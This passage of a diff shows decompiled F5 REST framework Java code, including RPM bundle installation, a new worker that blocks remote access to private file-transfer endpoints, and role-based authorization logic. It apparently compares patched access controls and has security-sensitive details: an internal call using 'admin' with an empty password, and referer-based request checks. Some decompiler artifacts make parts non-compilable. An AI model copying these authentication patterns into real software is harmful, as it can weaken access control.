IAppBundleInstallTaskState.IAppBundleInstallStep.UPDATE_USECASE_PACK_VERSION;\n if (!taskState.appRpmsInfo.isEmpty()) {\n nextStep = IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS;\n }\n installRpm(taskState.frameworkRpmInfo, taskState, nextStep);\n }\n \n \n \n private void installAppRpmsInBundle(IAppBundleInstallTaskState taskState) {\n IAppBundleInstallTaskState.RpmInfo appRpm;\n do {\n taskState.toBeInstalledAppRpmsIndex++;\n if (taskState.toBeInstalledAppRpmsIndex == taskState.appRpmsInfo.size()) {\n \n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.UPDATE_USECASE_PACK_VERSION;\n sendStatusUpdate(taskState);\n return;\n }\n appRpm = taskState.appRpmsInfo.get(taskState.toBeInstalledAppRpmsIndex);\n }\n while (appRpm.status == IAppBundleInstallTaskState.RpmStatus.ERRORED);\n \n installRpm(appRpm, taskState, IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS);\n }\n \n \n \n \n private void installRpm(final IAppBundleInstallTaskState.RpmInfo rpmInfo, final IAppBundleInstallTaskState taskState, final IAppBundleInstallTaskState.IAppBundleInstallStep nextStep) {\n rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.INSTALLING;\n IAppPackageManagementTaskState packageMgmt = new IAppPackageManagementTaskState();\n packageMgmt.operation = IAppPackageManagementTaskState.IAppPackageOperation.INSTALL;\n packageMgmt.packageFilePath = \"/var/config/rest/downloads/\" + rpmInfo.name;\n \n RestRequestCompletion installCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation operation) {\n rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.INSTALLED;\n taskState.step = nextStep;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n \n \n public void failed(Exception exception, RestOperation operation) {\n IAppPackageManagementTaskState installResponse = (IAppPackageManagementTaskState)operation.getTypedBody(IAppPackageManagementTaskState.class);\n \n String errorMessage = (installResponse != null && installResponse.errorMessage != null) ? installResponse.errorMessage : \"\";\n \n \n \n rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.ERRORED;\n rpmInfo.error = errorMessage;\n taskState.step = nextStep;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n };\n \n RestOperation installOperation = RestOperation.create().setUri(buildLocalUri(new String[] { IAppPackageManagementTaskCollectionWorker.WORKER_URI_PATH })).setBody(packageMgmt).setCompletion((RestRequestCompletion)new TaskCompletion(getServer(), getLogger(), installCompletion));\n \n \n \n \n \n \n \n sendPost(installOperation);\n }\n \n \n \n private void updateUsecasePackVersion(final IAppBundleInstallTaskState taskState, final int retryCount) {\n RestRequestCompletion postCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation operation) {\n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.DONE;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n \n \n public void failed(Exception exception, RestOperation operation) {\n if (retryCount < 5) {\n IAppBundleInstallTaskCollectionWorker.this.scheduleTaskOnce(new Runnable() {\n public void run() {\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState, Integer.valueOf(retryCount + 1));\n }\n }5000 * (1 << retryCount));\n } else {\n taskState.errorMessage = String.format(\"Failed to update usecase pack version: %s\", new Object[] { exception.getMessage() });\n \n \n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, taskState.errorMessage, RestHelper.throwableStackToString(exception));\n }\n }\n };\n \n \n JsonObject body = new JsonObject();\n body.addProperty(\"usecasePackVersion\", taskState.manifest.usecasePackVersion);\n \n body.addProperty(\"usecasePackBuild\", getAgcUsecasePackBuild(taskState.filePath));\n \n RestOperation postOperation = RestOperation.create().setBody(body).setBasicAuthorization(\"admin\", \"\").setCompletion(postCompletion).setUri(buildLocalUri(new String[] { \"/mgmt/tm/access/usecase-pack-info\" }));\n \n \n \n \n \n \n \n sendPost(postOperation);\n }\n \n \n private String getAgcUsecasePackBuild(String filePath) {\n int ind = filePath.lastIndexOf('.');\n if (ind != -1) {\n filePath = filePath.substring(0, ind);\n }\n \n ind = filePath.lastIndexOf('.');\n if (ind != -1) {\n filePath = filePath.substring(0, ind);\n }\n \n ind = filePath.lastIndexOf('-');\n if (ind == -1) {\n getLogger().info(\"Access Guided Configuration use case pack name does not contain build number\");\n return \"\";\n }\n filePath = filePath.substring(ind + 1);\n if (!Character.isDigit(filePath.charAt(0))) {\n getLogger().info(\"Access Guided Configuration use case pack name does not contain build number\");\n return \"\";\n }\n return filePath;\n }\n \n \n \n \n \n \n \n \n public void failTask(IAppBundleInstallTaskState taskState, String errorMessage, String errorDetails) {\n getLogger().severe(errorMessage + \" error details: \" + errorDetails);\n failTask(taskState, errorMessage);\n }\n }\n diff --git a/com/f5/rest/workers/FileTransferPrivateWorker.java b/com/f5/rest/workers/FileTransferPrivateWorker.java\n new file mode 100644\n index 0000000..50238b7\n --- /dev/null\n +++ b/com/f5/rest/workers/FileTransferPrivateWorker.java\n @@ -0,0 +1,84 @@\n +package com.f5.rest.workers;\n +\n +import com.f5.rest.common.RestLogger;\n +import com.f5.rest.common.RestOperation;\n +import com.f5.rest.workers.filemanagement.FileManagementHelper;\n +\n +\n +\n +\n +\n +\n +\n +\n +\n +\n +\n +\n +\n +\n +public class FileTransferPrivateWorker\n + extends FileTransferWorker\n +{\n + private static final RestLogger LOGGER = new RestLogger(FileTransferPrivateWorker.class, \"\");\n +\n +\n + public FileTransferPrivateWorker(String postDirectory, String tmpDirectory) throws Exception {\n + super(postDirectory, tmpDirectory);\n + }\n +\n +\n +\n +\n +\n +\n + public FileTransferPrivateWorker(String getDirectory) throws Exception {\n + super(getDirectory);\n + }\n +\n +\n + public void onPost(RestOperation post) {\n + if (validateLocalRequest(post)) {\n + failRequest(post);\n + return;\n + }\n + super.onPost(post);\n + }\n +\n +\n + protected void onDelete(RestOperation delete) {\n + if (validateLocalRequest(delete)) {\n + failRequest(delete);\n + return;\n + }\n + super.onDelete(delete);\n + }\n +\n +\n + public void onGet(RestOperation get) {\n + if (validateLocalRequest(get)) {\n + failRequest(get);\n + return;\n + }\n + super.onGet(get);\n + }\n +\n +\n + protected void onQuery(RestOperation request) {\n + if (validateLocalRequest(request)) {\n + failRequest(request);\n + return;\n + }\n + super.onQuery(request);\n + }\n +\n + private boolean validateLocalRequest(RestOperation request) {\n + return request.getReferer().equals(request.getRemoteSender());\n + }\n +\n + private void failRequest(RestOperation post) {\n + FileManagementHelper.cleanPostForResponse(post);\n + post.setStatusCode(404);\n + post.fail(new IllegalAccessException(\"Private endpoints are not supported from remote\"));\n + }\n +}\n diff --git a/com/f5/rest/workers/RolesWorker.java b/com/f5/rest/workers/RolesWorker.java\n index 244f6d5..2ef8e3b 100644\n --- a/com/f5/rest/workers/RolesWorker.java\n +++ b/com/f5/rest/workers/RolesWorker.java\n @@ -1,1375 +1,1371 @@\n package com.f5.rest.workers;\n \n import com.f5.rest.common.CompletionHandler;\n import com.f5.rest.common.RestCollectionMergeResult;\n import com.f5.rest.common.RestCollectionWorker;\n import com.f5.rest.common.RestHelper;\n import com.f5.rest.common.RestOperation;\n import com.f5.rest.common.RestReference;\n import com.f5.rest.common.RestRequestCompletion;\n import com.f5.rest.common.RestServer;\n import com.f5.rest.common.RestWorker;\n import com.f5.rest.common.SubscriptionWorker;\n import com.f5.rest.common.UrlHelper;\n import com.f5.rest.common.WellKnownPorts;\n import com.f5.rest.workers.authn.AuthnWorker;\n import com.f5.rest.workers.authz.AuthzHelper;\n import com.f5.rest.workers.authz.EffectivePermissionsWorker;\n import com.f5.rest.workers.gossip.RemoteStateCopier;\n import java.net.URI;\n import java.util.HashSet;\n import java.util.Iterator;\n import java.util.Map;\n import java.util.Set;\n import java.util.TimerTask;\n import java.util.concurrent.ConcurrentHashMap;\n import java.util.concurrent.ConcurrentLinkedQueue;\n import java.util.concurrent.atomic.AtomicBoolean;\n \n \n \n \n \n \n \n \n \n \n \n \n \n public class RolesWorker\n extends RestCollectionWorker<RolesWorkerState, RolesCollectionState>\n implements EvaluatePermissions.Evaluate\n {\n public static final String WORKER_URI_PATH = WellKnownPorts.AUTHZ_ROLES_WORKER_URI_PATH;\n \n private static final String EXTERNAL_ROLES_WORKER_URI_PATH = UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_ROLES_WORKER_URI_PATH));\n \n private static final String EXTERNAL_RESOURCE_GROUPS_WORKER_URI_PATH = UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH));\n \n private static final String EXTERNAL_LOGIN_WORKER_PATH = UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(AuthnWorker.WORKER_URI_PATH));\n \n private static final String EXTERNAL_EFFECTIVE_PERMISSIONS_WORKER_PATH = UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_EFFECTIVE_PERMISSIONS_WORKER_URI_PATH));\n \n public static final String ADMIN_ROLE = \"Administrator\";\n \n public static final String ADMIN_ROLE_DESCRIPTION = \"Administrators are able to perform any action.\";\n public static final String READ_ONLY_MSG_FMT = \"Cannot %s built in roles.\";\n private static final String LOCAL_USERS_PATH = UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH);\n \n \n private final Map<String, RoleResourceMatcher> roleNameToResources = new ConcurrentHashMap<>();\n private final Map<RestReference, Set<String>> resourceGroupToRoleNames = new ConcurrentHashMap<>();\n private final Map<RestReference, Set<String>> userLinkToRoleNames = new ConcurrentHashMap<>();\n \n \n \n private TmosRoleCache tmosRoleCache;\n \n \n ConcurrentLinkedQueue<RestReference> usersToRemove = new ConcurrentLinkedQueue<>();\n AtomicBoolean isUserRemovalRunning = new AtomicBoolean();\n \n private final RoleResourceGroupWorker resourcesGroupWorker;\n private final EffectivePermissionsWorker effectivePermissionsWorker;\n \n public RolesWorker() {\n super(RolesWorkerState.class, RolesCollectionState.class);\n this.resourcesGroupWorker = new RoleResourceGroupWorker(this);\n this.effectivePermissionsWorker = new EffectivePermissionsWorker(this);\n }\n \n \n \n \n \n public void onStart(RestServer server) throws Exception {\n EvaluatePermissions.setRolesWorker(this, server.getPort());\n \n this.tmosRoleCache = new TmosRoleCache(server.getPort());\n setIdempotentPostEnabled(true);\n setFullStateRequiredOnStart(true);\n setMaxPendingOperations(10000L);\n \n URI subscriptionsUri = makeLocalUri(SubscriptionWorker.ALREADY_STARTED_WORKER_URI_PATH);\n URI publicationsUri = makeLocalUri(\"shared/publisher\");\n URI tmosRoleUri = makeLocalUri(TmosRoleWorkerState.WORKER_PATH);\n URI localRolesUri = makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH);\n \n URI resourceGroupWorkerUri = getServer().registerWorkerUri(WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH, (RestWorker)this.resourcesGroupWorker);\n \n \n URI effectivePermissionWorkerUri = getServer().registerWorkerUri(WellKnownPorts.AUTHZ_EFFECTIVE_PERMISSIONS_WORKER_URI_PATH, (RestWorker)this.effectivePermissionsWorker);\n \n \n \n completeStart(this.collectionClass, new URI[] { resourceGroupWorkerUri, effectivePermissionWorkerUri, tmosRoleUri, localRolesUri, subscriptionsUri, publicationsUri });\n }\n \n \n \n \n \n protected void onStartCompleted(Object loadedState, Exception stateLoadEx, Exception availabilityEx) throws Exception {\n RolesCollectionState collectionState = (RolesCollectionState)loadedState;\n \n for (RolesWorkerState role : collectionState.items) {\n addRole(role);\n }\n \n \n \n RestRequestCompletion notificationCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation operation)\n {\n if (operation.getMethod() != RestOperation.RestMethod.DELETE) {\n return;\n }\n \n RestResolverGroupEntry entry = (RestResolverGroupEntry)operation.getTypedBody(RestResolverGroupEntry.class);\n for (RestReference ref : entry.references) {\n RolesWorker.this.queueUserRemoval(ref);\n }\n }\n \n \n public void failed(Exception ex, RestOperation operation) {\n RolesWorker.this.getLogger().severeFmt(\"%s\", new Object[] { ex.getMessage() });\n }\n };\n \n \n RestRequestCompletion subscribeCompletion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n RolesWorker.this.getLogger().warningFmt(\"Failed to subscribe to worker: %s\", new Object[] { RestHelper.throwableStackToString(ex) });\n }\n \n \n \n public void completed(RestOperation operation) {\n RolesWorker.this.getLogger().fineFmt(\"Successfully subscribed to %s\", new Object[] { operation.getUri().getPath() });\n }\n };\n \n AuthzHelper.subscribeToUsers(getServer(), subscribeCompletion, notificationCompletion);\n \n AuthzHelper.subscribeToUserGroups(getServer(), subscribeCompletion, notificationCompletion);\n \n \n \n \n \n RestRequestCompletion resourceGroupNotificationCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation operation)\n {\n if (operation.getMethod() != RestOperation.RestMethod.DELETE) {\n return;\n }\n RoleResourceGroupState groupState = (RoleResourceGroupState)operation.getTypedBody(RoleResourceGroupState.class);\n \n RolesWorker.this.removeResourceGroupsFromRoles(new RestReference(groupState.selfLink));\n }\n \n \n public void failed(Exception ex, RestOperation operation) {\n RolesWorker.this.getLogger().severeFmt(\"%s\", new Object[] { ex.getMessage() });\n }\n };\n \n \n RestOperation subscribeRequest = RestOperation.create().setUri(buildLocalUri(new String[] { WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH })).setCompletion(subscribeCompletion);\n \n \n \n sendPostForSubscription(subscribeRequest, getServer(), resourceGroupNotificationCompletion);\n \n \n \n super.onStartCompleted(loadedState, stateLoadEx, availabilityEx);\n \n removeStaleResourceGroups(collectionState);\n }\n \n \n \n \n \n \n \n \n \n \n private void removeStaleResourceGroups(final RolesCollectionState rolesCollection) {\n RestRequestCompletion getCompletion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n RolesWorker.this.getLogger().warningFmt(\"Failed to clean up stale resource groups: %s\", new Object[] { RestHelper.throwableStackToString(ex) });\n }\n \n \n \n \n public void completed(RestOperation operation) {\n RoleResourceGroupCollection groupCollection = (RoleResourceGroupCollection)operation.getTypedBody(RoleResourceGroupCollection.class);\n \n \n Set<URI> groupUris = new HashSet<>();\n for (RoleResourceGroupState group : groupCollection.items) {\n groupUris.add(group.selfLink);\n }\n \n for (RolesWorkerState role : rolesCollection.items) {\n boolean needsUpdate = false;\n if (role.resourceGroupReferences != null) {\n Iterator<RestReference> iter = role.resourceGroupReferences.iterator();\n while (iter.hasNext()) {\n if (!groupUris.contains(((RestReference)iter.next()).link)) {\n iter.remove();\n needsUpdate = true;\n }\n }\n }\n \n if (needsUpdate) {\n RolesWorker.this.putRole(role);\n }\n }\n }\n };\n \n \n RestOperation get = RestOperation.create().setUri(makeLocalUri(WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH)).setCompletion(getCompletion);\n \n \n sendGet(get);\n }\n \n private void putRole(final RolesWorkerState role) {\n RestRequestCompletion updateCompletion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n RolesWorker.this.getLogger().warningFmt(\"Failed to update role %s: %s\", new Object[] { this.val$role.name, RestHelper.throwableStackToString(ex) });\n }\n \n \n \n \n public void completed(RestOperation operation) {\n RolesWorker.this.getLogger().fineFmt(\"Successfully update role: %s\", new Object[] { this.val$role.name });\n }\n };\n \n \n RestOperation op = RestOperation.create().setUri(makeLocalUri(role.selfLink)).setBody(role).setCompletion(updateCompletion);\n \n sendPut(op);\n }\n \n \n public void onGet(final RestOperation request) {\n final String destinationRoleName = getItemIdFromRequest(request);\n \n \n \n \n \n \n \n \n \n \n \n \n RestReference userReference = request.getAuthUserReference();\n if (userReference == null || AuthzHelper.isDefaultAdminRef(userReference)) {\n super.onGet(request);\n \n return;\n }\n hasAdminRole(request, new CompletionHandler<Boolean>()\n {\n public void completed(Boolean isAdmin)\n {\n if (isAdmin != null && isAdmin.booleanValue()) {\n RolesWorker.this.onGet(request);\n \n return;\n }\n if (RolesWorker.this.hasVisibilityToRole(request, destinationRoleName)) {\n RolesWorker.this.onGet(request);\n \n return;\n }\n if (destinationRoleName != null) {\n \n String error = String.format(\"Authorization failed: userReference [%s] is not a member of role [%s].\", new Object[] { (this.val$request.getAuthUserReference()).link, this.val$destinationRoleName });\n \n \n request.setStatusCode(401);\n request.fail(new SecurityException(error));\n \n return;\n }\n RolesWorker.this.onGet(request);\n }\n \n \n public void failed(Exception ex, Boolean isAdmin) {\n RolesWorker.failWithPermissionsInternalError(request);\n }\n });\n }\n \n \n private boolean hasVisibilityToRole(RestOperation request, String destinationRoleName) {\n for (RestReference identityRef : request.getAuthIdentityReferences()) {\n \n \n \n \n \n if (!this.userLinkToRoleNames.containsKey(identityRef)) {\n continue;\n }\n \n synchronized (this.userLinkToRoleNames) {\n Set<String> roleNames = this.userLinkToRoleNames.get(identityRef);\n \n \n if (roleNames.contains(destinationRoleName)) {\n return true;\n }\n \n \n for (String roleName : roleNames) {\n RoleResourceMatcher resources = this.roleNameToResources.get(roleName);\n String destinationRoleUriPath = (destinationRoleName == null) ? EXTERNAL_ROLES_WORKER_URI_PATH : UrlHelper.buildUriPath(new String[] { EXTERNAL_ROLES_WORKER_URI_PATH, destinationRoleName });\n \n \n if (resources.verifyResourceIsPermitted(destinationRoleUriPath, RestOperation.RestMethod.GET)) {\n return true;\n }\n }\n }\n }\n \n return false;\n }\n \n \n public boolean hasVisibilityToResourceGroup(RestOperation request, RestReference resourceGroupRef) {\n for (RestReference identityRef : request.getAuthIdentityReferences()) {\n \n \n \n \n \n if (!this.userLinkToRoleNames.containsKey(identityRef)) {\n continue;\n }\n \n synchronized (this.userLinkToRoleNames) {\n \n Set<String> roleNames = this.userLinkToRoleNames.get(identityRef);\n \n \n if (null == roleNames || roleNames.isEmpty()) {\n continue;\n }\n \n \n Set<String> rolesWithResourceGroup = this.resourceGroupToRoleNames.get(resourceGroupRef);\n if (null != rolesWithResourceGroup) {\n for (String roleName : rolesWithResourceGroup) {\n if (roleNames.contains(roleName)) {\n return true;\n }\n }\n }\n \n \n for (String roleName : roleNames) {\n RoleResourceMatcher resources = this.roleNameToResources.get(roleName);\n if (resources.verifyResourceIsPermitted(resourceGroupRef.link.getPath(), RestOperation.RestMethod.GET)) {\n return true;\n }\n }\n }\n }\n \n return false;\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n public void setGetCollectionBodyAsync(RestOperation getRequest, RestOperation loadRequest, CompletionHandler<Void> completion) {\n String destinationRoleName = getItemIdFromRequest(getRequest);\n if (destinationRoleName == null || destinationRoleName.equals(\"Administrator\")) {\n getBuiltInRoleUserReferences(getRequest, loadRequest, completion);\n } else {\n continueSetGetCollectionBody(getRequest, loadRequest, completion);\n }\n }\n \n \n private void getBuiltInRoleUserReferences(final RestOperation getRequest, final RestOperation loadRequest, final CompletionHandler<Void> finalCompletion) {\n final String roleName = getItemIdFromRequest(getRequest);\n RestRequestCompletion completion = new RestRequestCompletion()\n {\n public void completed(RestOperation response)\n {\n RolesWorker.populateAdminUserReferencesOnGet(roleName, loadRequest, response);\n RolesWorker.this.continueSetGetCollectionBody(getRequest, loadRequest, finalCompletion);\n }\n \n \n \n public void failed(Exception ex, RestOperation response) {\n RolesWorker.this.getLogger().fineFmt(\"Unable to get list of admins/non-admins: %s\", new Object[] { ex.getMessage() });\n \n getRequest.fail(ex);\n }\n };\n \n \n RestOperation request = RestOperation.create().setUri(makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH)).setAdminIdentity().setCompletion(completion);\n \n \n \n \n sendGet(request);\n }\n \n \n static void populateAdminUserReferencesOnGet(String destinationRole, RestOperation request, RestOperation LocalRolesResponse) {\n RolesCollectionState collection = null;\n RolesWorkerState adminRole = null;\n \n if (destinationRole == null) {\n collection = (RolesCollectionState)request.getTypedBody(RolesCollectionState.class);\n for (RolesWorkerState role : collection.items) {\n if (\"Administrator\".equals(role.name)) {\n adminRole = role;\n }\n }\n } else if (destinationRole.equals(\"Administrator\")) {\n adminRole = (RolesWorkerState)request.getTypedBody(RolesWorkerState.class);\n }\n \n String localUsersPath = UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH);\n TmosLocalRolesWorkerState localState = (TmosLocalRolesWorkerState)LocalRolesResponse.getTypedBody(TmosLocalRolesWorkerState.class);\n \n \n if (adminRole != null) {\n if (adminRole.userReferences == null) {\n adminRole.userReferences = new HashSet<>();\n }\n \n \n \n Iterator<RestReference> it = adminRole.userReferences.iterator();\n while (it.hasNext()) {\n RestReference userRef = it.next();\n if (userRef.link.getPath().startsWith(localUsersPath)) {\n it.remove();\n }\n }\n \n \n for (String user : localState.administrators) {\n String userPath = UrlHelper.buildUriPath(new String[] { localUsersPath, user });\n \n adminRole.userReferences.add(new RestReference(UrlHelper.buildPublicUri(userPath)));\n }\n \n if (adminRole.userReferences.isEmpty()) {\n adminRole.userReferences = null;\n }\n }\n \n if (destinationRole == null) {\n request.setBody(collection);\n } else if (destinationRole.equals(\"Administrator\")) {\n request.setBody(adminRole);\n }\n }\n \n \n \n private void continueSetGetCollectionBody(final RestOperation getRequest, final RestOperation loadRequest, final CompletionHandler<Void> completion) {\n String destinationRoleName = getItemIdFromRequest(getRequest);\n if (destinationRoleName != null) {\n super.setGetCollectionBodyAsync(getRequest, loadRequest, completion);\n \n \n return;\n }\n \n RestReference userReference = getRequest.getAuthUserReference();\n if (userReference == null || AuthzHelper.isDefaultAdminRef(userReference)) {\n super.setGetCollectionBodyAsync(getRequest, loadRequest, completion);\n \n \n return;\n }\n \n hasAdminRole(getRequest, new CompletionHandler<Boolean>()\n {\n public void completed(Boolean isAdmin)\n {\n if (isAdmin != null && isAdmin.booleanValue()) {\n RolesWorker.this.setGetCollectionBodyAsync(getRequest, loadRequest, completion);\n \n return;\n }\n getRequest.setBody(RolesWorker.this.filterRoles(getRequest, loadRequest));\n completion.completed(null);\n }\n \n \n public void failed(Exception ex, Boolean isAdmin) {\n getRequest.setBody(null);\n getRequest.setStatusCode(500);\n completion.failed(new Exception(\"Internal server error while authorizing request\"), null);\n }\n });\n }\n \n \n \n private RolesCollectionState filterRoles(RestOperation getRequest, RestOperation loadRequest) {\n RolesCollectionState roles = (RolesCollectionState)loadRequest.getTypedBody(RolesCollectionState.class);\n Iterator<RolesWorkerState> iter = roles.items.iterator();\n while (iter.hasNext()) {\n if (!hasVisibilityToRole(getRequest, ((RolesWorkerState)iter.next()).name)) {\n iter.remove();\n }\n }\n return roles;\n }\n \n \n protected void onPatch(RestOperation request) {\n getLogger().fineFmt(\"Attempting to PATCH role; uri: %s, referrer: %s\", new Object[] { request.getUri(), request.getReferer() });\n \n if (isReadOnly(request)) {\n return;\n }\n \n RestCollectionMergeResult<RolesWorkerState> mergeResult = getMergeResultFromRequest(request);\n \n \n if (((RolesWorkerState)mergeResult.clientState).userReferences != null && ((RolesWorkerState)mergeResult.storageState).userReferences != null)\n {\n ((RolesWorkerState)mergeResult.mergedState).userReferences.addAll(((RolesWorkerState)mergeResult.storageState).userReferences);\n }\n if (((RolesWorkerState)mergeResult.clientState).resourceGroupReferences != null && ((RolesWorkerState)mergeResult.storageState).resourceGroupReferences != null)\n {\n ((RolesWorkerState)mergeResult.mergedState).resourceGroupReferences.addAll(((RolesWorkerState)mergeResult.storageState).resourceGroupReferences);\n }\n \n if (((RolesWorkerState)mergeResult.clientState).resources != null && ((RolesWorkerState)mergeResult.storageState).resources != null) {\n ((RolesWorkerState)mergeResult.mergedState).resources.addAll(((RolesWorkerState)mergeResult.storageState).resources);\n }\n if (((RolesWorkerState)mergeResult.clientState).properties != null && ((RolesWorkerState)mergeResult.storageState).properties != null)\n {\n for (Map.Entry<String, Object> entry : ((RolesWorkerState)mergeResult.storageState).properties.entrySet()) {\n if (!((RolesWorkerState)mergeResult.mergedState).properties.containsKey(entry.getKey())) {\n ((RolesWorkerState)mergeResult.mergedState).properties.put(entry.getKey(), entry.getValue());\n }\n }\n }\n \n request.setBody(mergeResult.mergedState);\n updateBuiltInRoleCacheOnDemand(request);\n }\n \n \n public void onPatchCompleted(RestOperation request) {\n RolesWorkerState patchState = (RolesWorkerState)getStateFromRequest(request);\n addRole(patchState);\n request.complete();\n }\n \n \n protected void onPut(RestOperation request) {\n getLogger().fineFmt(\"Attempting to PUT role; uri: %s, referrer: %s\", new Object[] { request.getUri().toString(), request.getReferer() });\n \n if (isReadOnly(request)) {\n return;\n }\n updateBuiltInRoleCacheOnDemand(request);\n }\n \n private RolesWorkerState getStateToUpdate(RestOperation request) {\n if (request.getMethod().equals(RestOperation.RestMethod.PATCH)) {\n RestCollectionMergeResult<RolesWorkerState> mergeResult = getMergeResultFromRequest(request);\n \n return (RolesWorkerState)mergeResult.storageState;\n }\n return (RolesWorkerState)request.getTypedBody(RolesWorkerState.class);\n }\n \n private void updateBuiltInRoleCacheOnDemand(RestOperation incomingRequest) {\n RolesWorkerState role = (RolesWorkerState)incomingRequest.getTypedBody(RolesWorkerState.class);\n \n if (role.userReferences != null &&\n \"Administrator\".equals(role.name)) {\n updateLocalRolesWorker(incomingRequest, role);\n \n return;\n }\n \n completeRequest(incomingRequest);\n }\n \n private void updateLocalRolesWorker(final RestOperation incomingRequest, RolesWorkerState role) {\n final Set<URI> localAdminUris = collectLocalUserUris(role);\n TmosLocalRolesWorkerState update = new TmosLocalRolesWorkerState();\n \n RestRequestCompletion completion = new RestRequestCompletion()\n {\n public void completed(RestOperation response)\n {\n Set<URI> remainingLocalAdminUris = new HashSet<>(localAdminUris);\n \n for (Map.Entry<URI, Boolean> entry : RolesWorker.this.tmosRoleCache.getValues().entrySet()) {\n if (entry.getValue() != Boolean.TRUE) {\n continue;\n }\n \n if (!RolesWorker.isLocalUserReference(new RestReference(entry.getKey()))) {\n continue;\n }\n \n \n if (!remainingLocalAdminUris.remove(entry.getKey())) {\n RolesWorker.this.tmosRoleCache.putValue(entry.getKey(), Boolean.FALSE);\n }\n }\n \n for (URI adminUri : remainingLocalAdminUris) {\n RolesWorker.this.tmosRoleCache.putValue(adminUri, Boolean.TRUE);\n }\n \n RolesWorker.this.completeRequest(incomingRequest);\n }\n \n \n public void failed(Exception ex, RestOperation response) {\n RolesWorker.this.getLogger().fineFmt(\"Unable to update list of admins: %s\", new Object[] { ex.getMessage() });\n \n incomingRequest.fail(ex);\n }\n };\n \n \n for (URI adminUserRef : localAdminUris) {\n update.administrators.add(UrlHelper.getLastPathSegment(adminUserRef.getPath()));\n }\n \n if (AuthzHelper.DEFAULT_ADMIN_NAME != null) {\n if (!update.administrators.contains(AuthzHelper.DEFAULT_ADMIN_NAME)) {\n update.administrators.add(AuthzHelper.DEFAULT_ADMIN_NAME);\n \n \n role.userReferences.add(AuthzHelper.getDefaultAdminReference());\n }\n incomingRequest.setBody(role);\n }\n \n RestOperation request = RestOperation.create().setUri(makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH)).setAdminIdentity().setBody(update).setCompletion(completion);\n \n \n \n \n \n sendPost(request);\n }\n \n private static Set<URI> collectLocalUserUris(RolesWorkerState roleState) {\n Set<URI> userUris = new HashSet<>();\n for (RestReference userReference : roleState.userReferences) {\n if (RestReference.isNullOrEmpty(userReference)) {\n continue;\n }\n \n \n \n if (!isLocalUserReference(userReference)) {\n continue;\n }\n userUris.add(userReference.link);\n }\n return userUris;\n }\n \n private static boolean isLocalUserReference(RestReference userReference) {\n return userReference.link.getPath().startsWith(LOCAL_USERS_PATH);\n }\n \n \n public void onPutCompleted(RestOperation request) {\n RolesWorkerState putState = (RolesWorkerState)getStateFromRequest(request);\n addRole(putState);\n request.complete();\n }\n \n \n \n \n \n \n private void addRole(RolesWorkerState postedItem) {\n synchronized (this.userLinkToRoleNames) {\n \n \n \n this.roleNameToResources.put(postedItem.name, buildResourcesList(postedItem));\n \n \n \n if (postedItem.userReferences != null) {\n addRolesToUsers(postedItem.name, postedItem.userReferences);\n }\n if (postedItem.resourceGroupReferences != null) {\n addRolesToResourceGroups(postedItem.name, postedItem.resourceGroupReferences);\n }\n \n \n for (Map.Entry<RestReference, Set<String>> entry : this.userLinkToRoleNames.entrySet()) {\n \n if (((Set)entry.getValue()).contains(postedItem.name) && (postedItem.userReferences == null || !postedItem.userReferences.contains(entry.getKey())))\n {\n \n ((Set)entry.getValue()).remove(postedItem.name);\n }\n }\n \n for (Map.Entry<RestReference, Set<String>> entry : this.resourceGroupToRoleNames.entrySet()) {\n \n if (((Set)entry.getValue()).contains(postedItem.name) && (postedItem.resourceGroupReferences == null || !postedItem.resourceGroupReferences.contains(entry.getKey())))\n {\n \n ((Set)entry.getValue()).remove(postedItem.name);\n }\n }\n }\n }\n \n \n \n private void addRolesToUsers(String roleName, Set<RestReference> users) {\n for (RestReference userReference : users) {\n if (userReference.link == null) {\n getLogger().warningFmt(\"Null userReference in role %s\", new Object[] { roleName });\n continue;\n }\n getLogger().finestFmt(\"Adding role %s from %s\", new Object[] { roleName, userReference.link.toString() });\n \n if (this.userLinkToRoleNames.containsKey(userReference)) {\n ((Set<String>)this.userLinkToRoleNames.get(userReference)).add(roleName);\n continue;\n }\n Set<String> roleSet = new HashSet<>();\n roleSet.add(roleName);\n this.userLinkToRoleNames.put(userReference, roleSet);\n }\n }\n \n \n \n \n private void addRolesToResourceGroups(String roleName, Set<RestReference> resourceGroups) {\n for (RestReference resourceGroup : resourceGroups) {\n if (resourceGroup.link == null) {\n getLogger().warningFmt(\"Null userReference in role %s\", new Object[] { roleName });\n continue;\n }\n getLogger().finestFmt(\"Adding role %s to %s\", new Object[] { roleName, resourceGroup.link.toString() });\n \n if 